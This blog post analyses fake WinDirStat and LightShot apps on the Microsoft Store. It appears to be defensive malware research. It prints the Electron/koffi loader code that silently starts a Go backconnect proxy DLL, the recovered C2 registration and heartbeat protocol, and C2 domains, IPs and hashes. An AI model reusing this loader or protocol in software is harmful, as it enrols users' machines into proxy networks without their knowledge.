Microsoft Store Apps May Deliver Go Backconnect Proxy Malware

Quick Summary

A consolidated analysis of suspicious Microsoft Store utility apps, including WinDirStat and LightShot impersonators, that load a shared Go-based client.dll backconnect/proxy implant.

Primary payload: client.dllPrimary C2: mylabubus.shopCompiler: Go 1.24.9Assessment: Backconnect / proxy malware

Executive Summary

I analyzed a suspicious Microsoft Store utility package, focusing in particular on a WinDirStat impersonator. The analysis combined manual reverse engineering and runtime testing with AI-assisted workflows using REMnux MCP, Malcat MCP with Claude, and automated sandbox analysis.

The application presented itself as a normal Electron-based utility, but loaded a native Go DLL named client.dll through the Node.js FFI library koffi. Dynamic testing showed that this DLL registers with remote helper infrastructure and enters a server-controlled heartbeat loop.

Static analysis, debugger strings, and independent tooling confirmed embedded backconnect/proxy components, including server/src/backconnect/* source paths, yamux multiplexing references, machine-ID fingerprinting, and proxy/session strings. Related samples and YARA pivots suggest the same payload family appears across multiple utility-themed Microsoft Store packages, including WinDirStat and LightShot impersonators.

The strongest conclusion is that these apps act as user-facing decoys and loaders for a Go-based backconnect proxy implant, likely intended to enroll victim systems into proxy infrastructure.

Key Findings

Electron loaderThe app uses koffi to load client.dll and call the exported Start function.
Controlled C2 protocol/register returns ping_interval; /ping accepts action=wait.
Backconnect architectureRecovered strings include server/src/backconnect/, proxy.go, session.go, and yamux.
Payload isolationReplacing client.dll with a benign DLL stopped C2 while the UI still worked.
Background retentionMultiple app processes remained after GUI closure, allowing continued background execution.
Campaign reuseRelated samples impersonate WinDirStat and LightShot and reuse similar DLL payloads.

Technical Analysis

1. Loader: Electron → koffi → client.dll

The visible application is an Electron wrapper. On startup, its main process looks beside the executable for client.dll, loads it with koffi, resolves Start, and calls it asynchronously with a campaign/user identifier.

const dllPath = path.join(path.dirname(process.execPath), 'client.dll');
if (require('fs').existsSync(dllPath)) {
  const koffi = require('koffi');
  const lib = koffi.load(dllPath);
  const Start = lib.func('void Start(uintptr_t, uintptr_t, str, int)');
  Start.async(0, 0, '-user_id=microsoft_store_WinDirStat_Disk_Analysis_9MW9HR27K9B9', 0, () => {});
}

The loader suppresses errors, allowing the application UI to continue even if DLL loading fails. This makes the malicious component modular and easy to reuse across unrelated Electron apps.

2. C2 protocol recovered in the lab

A local HTTPS listener and Frida/x32dbg instrumentation confirmed a minimal registration and heartbeat protocol:

StageRequestExpected responseObserved effect
RegistrationPOST /register{"status":"ok","ping_interval":10}Client accepted response and began periodic ping loop.
HeartbeatPOST /ping{"action":"wait"}Client continued beaconing at the controller-provided interval.
POST /register
{"user_id":"microsoft_store_WinDirStat_Disk_Analysis_9MW9HR27K9B9",
 "build_version":"1.0",
 "hwid":"f4f34c43-9bc1-4a9a-b55f-1d4dd97e0e88"}

This establishes a controller-influenced C2 channel: the server can control at least the implant’s heartbeat interval and return actions during polling.

3. Backconnect/proxy evidence

Debugger-region strings near the Start execution path and independent REMnux analysis identified source paths and strings that strongly indicate a purpose-built backconnect proxy implant:

server/src/backconnect/helper.go
server/src/backconnect/metadata.go
server/src/backconnect/proxy.go
server/src/backconnect/server.go
server/src/backconnect/session.go
server/src/cmd/backconnect_dll/main.go
github.com/hashicorp/yamux
github.com/denisbrodbeck/machineid.ID
[UDP] yamux→target  target=%s pkt=#%d len=%d
Registered successfully (status=%s, ping_interval=%ds)

The use of yamux suggests multiplexed streams over a single connection. The machineid package aligns with the observed hwid sent to the helper server.

4. Payload isolation validation

To confirm the DLL’s role, the original client.dll was renamed and replaced with a benign ffmpeg.dll copy renamed to client.dll. Under that condition:

  • The app still launched and functioned normally from an end-user perspective.
  • No /register or /ping C2 traffic occurred.
  • No implant-like background network activity was observed.
The malicious functionality is isolated to client.dll; the Electron app serves as a loader and user-facing decoy.

5. Runtime background behavior

Closing the visible GUI did not fully terminate associated processes. Multiple WinDirStat.exe instances remained active in the background. This is not proof of reboot persistence, but it is user-deceptive runtime persistence: the user believes the app is closed while the background process can continue running.

Evidence Summary

Rather than repeating each tool’s output in full, the strongest corroborating evidence is summarized below.

SourceFindingImportance
Dynamic listener/register and /ping traffic with hwid, user_id, and controlled ping_interval.Confirms live C2 protocol.
x32dbgBreak on client.dll!Start showed argument string -user_id=... and nearby decoded protocol strings.Confirms runtime bridge and protocol context.
FridaObserved DLL loading, process/file/network activity, Chromium/Electron artifacts, and helper registration logs.Confirms behavior chain.
REMnux MCPDetected Go 1.24.9, Start export, server/src/backconnect/*, yamux, and machineid.Independently validates backconnect architecture.
Malcat / VTHeuristic similarity to Golang proxy/backconnect families such as GhostSocks-like malware.Supports, but does not prove, family similarity.
Automated sandboxRepeated TLS connections to remote infrastructure and DNS lookups for api1/api2.mylabubus.shop.Corroborates outbound behavior.

Selected Screenshots

Malcat detection screenshot showing GhostSocks-like proxy malware similarity
Malcat MCP analysis surfaced GhostSocks-like similarity. This is treated as tertiary family-similarity evidence, not definitive family attribution.
Microsoft Store page for WinDirStat Remastered
Microsoft Store page for a third-party WinDirStat-themed utility package observed during the investigation.

Campaign Correlation

Related apps and payload reuse

VirusTotal relationships and YARA pivots identified related samples using the same or similar backconnect DLLs. One notable related package impersonates LightShot:

UAPSignedBinary_HobbyApps.Lightshot_1.0.4.0_x86__6b1d5ygjy0x60.msix

This suggests the payload is reused across multiple fake utility apps rather than being a one-off WinDirStat modification.

Distribution vector

The fake WinDirStat sample was associated with a Microsoft Store listing for a third-party “WinDirStat – Remastered” package. Additional Microsoft Store publisher/product pages were observed during YARA and VirusTotal pivoting. The intent is not to implicate legitimate WinDirStat or LightShot projects; these tools appear to be used as impersonation lures.

Related hashes from VT/YARA pivots

SHA-256Context
09049e365c86e0bc6192fb1601d0fbe6bf2235f9f3e26ea1c83e26f41d041530Primary analyzed client.dll
453b6bb2f4e38ef477bdf9db13572d346f4341b44e0ed16f6c3fdbd0b1140739Related file from VT pivot
b130bc1fadd1a8c819e5e98a2961767f4e885a473bcc6c8bc0f75464c5089c83Related Store/app package from sandbox/VT pivot
27870854b9e85265e21d06a4b9e696093c1558c1480e36a42540943d66f7a3ecLikely related backconnect DLL from YARA pivot
f61252203cc8b3ea93354c252e22b4ec8e5e1d6e7d3cac11bef64dfb7deddf3eLikely related backconnect DLL from YARA pivot
e9b37e1b2e50212f84ff16c8e44e1e87ac90e458db8610c1c9379de76283c8f2Likely related backconnect DLL from YARA pivot
54a79692f3406c9fdf5ad4d090e6593a8906fcd6620c1ecf2f22c7390b577b78Likely related backconnect DLL from YARA pivot
bc2ea22be1b6e77a4c15350f5a9c049d9d84505c64941e65e8191db4d0fbd7e4Likely related backconnect DLL from YARA pivot
42b989fb7b81ac22c91ceb8022e21805acd949b6f0cec36a9ad72496f4fae791Likely related backconnect DLL from YARA pivot
6af8931615475941b797f9a4a2f2149c06502f52435bb307a7d7bbbdc6323abdLikely related backconnect DLL from YARA pivot
b2e79c6b7c1234d58b96154a5db59ea393ae998dc493cc67aca5b12c253dfa35Likely related backconnect DLL from YARA pivot
df90d0244e783ae7dc917355e245f549ca532d31e5afb233979838f6f116d07fLikely related backconnect DLL from YARA pivot
0769624f9b1e59eef3ca36fed6977d604c6785eb7d24f7419b344245cb6a86c7Likely related backconnect DLL from YARA pivot

Indicators of Compromise

Network

TypeValueContext
Domainapi1.mylabubus.shopPrimary helper/register/ping endpoint
Domainapi2.mylabubus.shopFallback helper/register/ping endpoint
Domainrelay.labubusmarket.comObserved in likely related backconnect DLLs
Domainhelper.labubusmarket.comObserved in likely related backconnect DLLs
Domainapi1.checkupdatesnow.xyzObserved in likely related backconnect DLLs
Domainapi2.checkupdatesnow.xyzObserved in likely related backconnect DLLs
IP91.84.106.129Remote TLS endpoint observed in sandbox analysis api1
IP89.124.124.112Remote TLS endpoint observed in sandbox analysis api2
IP 144.124.254.145VirusTotal pivot from client.dll sample from March 2026

Behavioral

IndicatorValue / Description
Campaign tagmicrosoft_store_WinDirStat_Disk_Analysis_9MW9HR27K9B9
Related campaign tagmicrosoftstore_lightshot_9NTC2KMZMGND
DLL exportStart(uintptr_t, uintptr_t, str, int)
FFI loaderkoffi used to load client.dll from Electron/Node.js
Go source pathserver/src/backconnect/
Runtime behaviorMultiple app processes remain after GUI closure
Protocol stringsRegistered successfully (status=%s, ping_interval=%ds)
Beacon metadataUSERID / BUILDVERSION / HWID

Suspected Microsoft Store Pages

TypeName / ProductURLContext
PagePeak Toolshttps://apps.microsoft.com/search/publisher?name=PeakTools&hl=en-US&gl=USSMicrosoft Store Publisher Page hosting WinDirStat.
PageNikia Fraizerhttps://apps.microsoft.com/search/publisher?name=Nikia+Fraizer&hl=en-US&gl=USMicrosoft Store Publisher Page hosting LightShot.
PagePersonal Utilitieshttps://apps.microsoft.com/search/publisher?name=Personal+Utilities&hl=en-US&gl=USSuspected related Microsoft Store publisher search page.
PageHobby Appshttps://apps.microsoft.com/search/publisher?name=Hobby+Apps&hl=en-US&gl=USSuspected related LightShot package publisher search page.

MITRE ATT&CK Mapping

TechniqueMappingEvidence
T1036MasqueradingFake WinDirStat and LightShot apps.
T1204User ExecutionUser installs/runs trojanized utility app.
T1106Native APINative DLL loaded via Electron FFI.
T1071.001Web ProtocolsHTTPS /register and /ping C2.
T1090ProxyBackconnect/proxy strings and yamux-based session code.
T1573Encrypted ChannelTLS and encrypted session strings.

Responsible Disclosure

This research was conducted independently in a controlled lab environment using publicly available samples. The analysis is intended for educational and defensive purposes only.

The author is an independent security researcher and has no affiliation with, nor intent to harm, any legitimate software vendors, projects, or distribution platforms mentioned. References to legitimate tools such as WinDirStat and LightShot are strictly in the context of impersonation or misuse by third parties.

No active exploitation was performed, and no attempts were made to disrupt live infrastructure beyond controlled, local sinkholing for analysis. IOCs are provided to assist defenders and researchers.

Update: Campaign Activity Predates Microsoft App Store Distribution

After the initial publication of this analysis, additional pivoting revealed that this activity predates 2026 Microsoft App Store-hosted or App Store-adjacent utility applications. VirusTotal pivots based on shared infrastructure, YARA content hits, and overlapping backconnect artifacts identified related samples dating back to at least October 2025. Some of these include Free Screen Recorder (34cbaced03a3c82731ef0e782c3977bc7922e8e5535f8fc7263b1d9298bc1219 / 7d21e5178d1b75b09da635d0bc0117ccf2a4569df581cdefc7db68a78c603456).

Additionally, it appears that there used to be a malicious Hiddify app on the store earlier in the year, it no longer appears to be there. While it's not the same as what we observe in this writeup, some pivots on yamux did lead me there and it was detected as FRProxy. (92034784ec3ea5fa86bc1a8b91e236bba7d4bb1463f0f070fdd1eb3a83d7a31f)

This suggests the App Store distribution observed in the WinDirStat and LightShot cases may represent a later distribution channel or expansion phase rather than the origin of the campaign.

Backconnect-related strings and Go build path artifacts observed in a related sample, including references to server/src/backconnect, relay server structures, and a configured user ID.
VirusTotal pivot result for a November 2025 DLL sharing related backconnect characteristics. Notably, the filename includes the same miky3 user identifier observed in extracted configuration artifacts.
Monitor.dll from Sreen Recorder Free, memory patterns related to GhostSocks proxyware malware.

Additional Campaign Indicators

Indicator Type Context
w1.quakingconfined.digital C2 Related 2025 sample identified through VirusTotal pivoting.
005932f50d5b6e65531774317c6c25ae58ba96f38deffa205cd145d3d48c6cee SHA256 Hash associated with the related sample.
1553e07b026b9eff9774027cfb8d414d365d1bc7c26c2d0951c2fe333d85006e SHA256 Current earliest sample found through pivot (October 18, 2025)
miky3_udp.dll Filename Filename containing the same miky3 user identifier observed in backconnect configuration artifacts.
server/src/backconnect Go build path / source artifact Backconnect-related source path recovered from strings.
backconnect.userID=miky3 Configuration artifact User identifier observed in extracted runtime/build configuration strings.
backconnect.RelayServer String / symbol artifact Backconnect relay server structure reference.
Starting backconnect client String artifact Runtime string indicating backconnect client initialization.
ebec28fd7ced06e42a94319418f01fb7dc3f60a1e21821ef41d259d5ad3f2b03 File Hash Monitor.dll dropped with Screen Recorder Free: Uses Envoy Proxy, possibly for backconnect, unconfirmed.
3c7bda52ecd7129fd67973f84047298c7fb6235acdc615790779185596e6a560 File Hash Recorder.exe dropped with Screen Recorder Free and recorder-amd64-installer

Additional Research and Related Writeups

Other researchers have also documented overlapping or adjacent activity involving similar fake utility applications, proxyware-style behavior, and related infrastructure. These external writeups help place the App Store findings into a broader campaign context.

ATOS writeup by Piotr Bienias (May 11,2026)
Squiblydoo Remnux Report
My REMnux MCP analysis of Monitor.dll
My Malcat MCP analysis of Monitor.dll and Recorder.exe

Additional thoughts

Based on these pivots, I now assess that the Microsoft App Store distribution was likely one visible channel within a broader campaign, rather than the campaign’s starting point. The October and November 2025 VirusTotal hits indicate that related backconnect components and infrastructure were active prior to the App Store samples analyzed in this report.

New insight on monitor.dll associated with recorder.exe

Recorder.exe shows disassembly code that has a condition where if started with commandline switch "-start", it will then call monitor.dll and immediately start requests to GhostSocks associated IP addresses.

call runtime.newobject mov [rsp+0x40]
rax mov qword ptr [rax+0x18]
0x0B lea rcx
["monitor.dll"] mov [rax+0x10]
rcx nop lea rax
[0x85B860] call runtime.newobject cmp dword ptr [0xD4E4D0]
0x00 jnz .1 mov rcx
[rsp+0x40] jmp .2 nop [rax]
eax .1: call runtime.gcWriteBarrier1 mov rcx
[rsp+0x40] mov [r11]
rcx .2: mov [rsp+0x38]
rax mov [rax+0x18]
rcx mov qword ptr [rax+0x10]
0x05 lea rcx
["Start"] mov [rax+0x08]
rcx lea rax
["-start"] mov ebx
0x06 call syscall.StringBytePtr mov [rsp+0x30]
rax lea rax
[0x7FAAE0] call runtime.newobject

Additonally, it will drop a file named config in AppData\Roaming, this config file contains the GhostSocks IPs to connect and is XOR encoded with the key "config".

Conclusion: The analyzed packages are best characterized as suspicious/trojanized Electron utility applications that load a shared Go-based backconnect/proxy implant. The evidence supports a multi-application campaign abusing trusted utility names and app-store style distribution.

This consolidated version intentionally omits long raw logs and repeated screenshots. Those artifacts have been retained separately as supporting evidence or appendix material.

Comments

Popular posts from this blog

Beware of Fake 7zip Installer: upStage Proxy

TamperedChef: Suspicious Recipe App is really Malware

EvilAI: Fake Online Speedtest Application